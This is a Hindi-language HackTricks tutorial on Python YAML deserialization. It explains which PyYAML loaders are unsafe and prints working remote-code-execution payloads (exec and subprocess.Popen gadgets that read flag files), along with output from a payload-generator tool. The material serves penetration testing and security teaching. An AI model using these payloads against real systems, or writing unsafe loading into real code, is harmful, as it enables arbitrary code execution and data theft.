11 KiB
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान की जांच करें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और मुझे Twitter 🐦 @carlospolopm** का** अनुसरण करें।
- अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos.
Yaml डिसीरियलाइज़ेशन
Yaml python पुस्तकालय भी पायथन ऑब्जेक्ट्स को सिर्फ रॉ डेटा को नहीं सिरियलाइज़ करने की क्षमता रखती है:
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
जांचें कि tuple एक कच्चा प्रकार का डेटा नहीं है और इसलिए इसे सिरीकरण किया गया था। और यही हुआ range के साथ भी (builtins से लिया गया)।
safe_load() या safe_load_all() SafeLoader का उपयोग करते हैं और क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करते। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
पिछला कोड unsafe_load का उपयोग करता था जिससे सीरीयलाइज्ड पायथन क्लास लोड किया जाता था। यह इसलिए है क्योंकि संस्करण >= 5.1 में, यह किसी भी सीरीयलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को डीसीरियलाइज़ करने की अनुमति नहीं देता है, Loader not specified in load() or Loader=SafeLoader।
मूल शोषण
नींद लागू करने के लिए एक उदाहरण:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
वंलरेबल .load("<content>") लोडर के बिना
पुराने संस्करणों में pyyaml डेसीरियलाइजेशन हमलों के लिए वंलरेबल थे अगर आप कुछ लोड करते समय लोडर स्पष्ट नहीं किया: yaml.load(data)
आप यहाँ वंलरेबिलिटी का विवरण पा सकते हैं. उस पृष्ठ में प्रस्तावित एक्स्प्लॉइट है:
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
या आप इस वन-लाइनर का उपयोग भी कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
नोट करें कि हाल के संस्करणों में आप अब .load()
को नहीं कह सकते हैं बिना Loader
और FullLoader
इस हमले के लिए अब असंरक्षित नहीं है।
RCE
कस्टम payloads को बनाने के लिए Python YAML modules जैसे PyYAML या ruamel.yaml का उपयोग किया जा सकता है। ये payloads सिस्टम में दोषों का शिकार हो सकते हैं जो असंरक्षित इनपुट को डिसीरियलाइज करते हैं बिना उचित सेनिटाइजेशन के।
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
उपकरण पेलोड बनाने के लिए
यह उपकरण https://github.com/j0lt-github/python-deserialization-attack-payload-generator का उपयोग किया जा सकता है ताकि Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग करने के लिए पायथन डिसीरियलाइज़ेशन पेलोड उत्पन्न किया जा सके:
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
संदर्भ
- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
- https://net-square.com/yaml-deserialization-attack-in-python.html
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।